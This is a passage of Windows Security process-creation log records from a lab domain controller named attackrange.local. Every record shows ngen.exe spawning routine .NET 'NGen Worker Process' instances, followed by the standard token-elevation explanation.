administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255066 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1340 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 6f4 -InterruptEvent 0 -NGENProcess 684 -Pipe 6ac -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255065 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x130c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 6e4 -InterruptEvent 0 -NGENProcess 710 -Pipe 6d0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255064 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1110 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 704 -InterruptEvent 0 -NGENProcess 6dc -Pipe 718 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255063 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10b4 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 6c0 -InterruptEvent 0 -NGENProcess 6dc -Pipe 67c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:17 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255069 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13a0 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 70c -InterruptEvent 0 -NGENProcess 720 -Pipe 5fc -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:19 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255070 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x910 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 72c -InterruptEvent 0 -NGENProcess 6d4 -Pipe 6e4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:20 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255071 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xde8 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 6d8 -InterruptEvent 0 -NGENProcess 694 -Pipe 6fc -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:21 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255073 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xeec - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 748 -InterruptEvent 0 -NGENProcess 730 -Pipe 740 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:21 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255072 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf50 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 6c0 -InterruptEvent 0 -NGENProcess 6d4 -Pipe 72c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:22 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255075 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11b0 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 730 -InterruptEvent 0 -NGENProcess 6bc -Pipe 748 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:22 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255074 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10a8 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 724 -InterruptEvent 0 -NGENProcess 6d8 -Pipe 734 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:25 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255081 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x328 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 74c -InterruptEvent 0 -NGENProcess 6c0 -Pipe 6dc -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:25 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255080 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x5f0 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 728 -InterruptEvent 0 -NGENProcess 73c -Pipe 6b4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:25 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255079 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb40 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 698 -InterruptEvent 0 -NGENProcess 704 -Pipe 710 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:25 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255078 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x450 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 6dc -InterruptEvent 0 -NGENProcess 754 -Pipe 768 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:25 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255077 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12ac - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 738 -InterruptEvent 0 -NGENProcess 758 -Pipe 65c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:25 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255076 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xcf8 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 698 -InterruptEvent 0 -NGENProcess 6b4 -Pipe 6a0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:26 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255084 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x9a4 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 720 -InterruptEvent 0 -NGENProcess 750 -Pipe 728 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:26 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255083 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10e4 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process 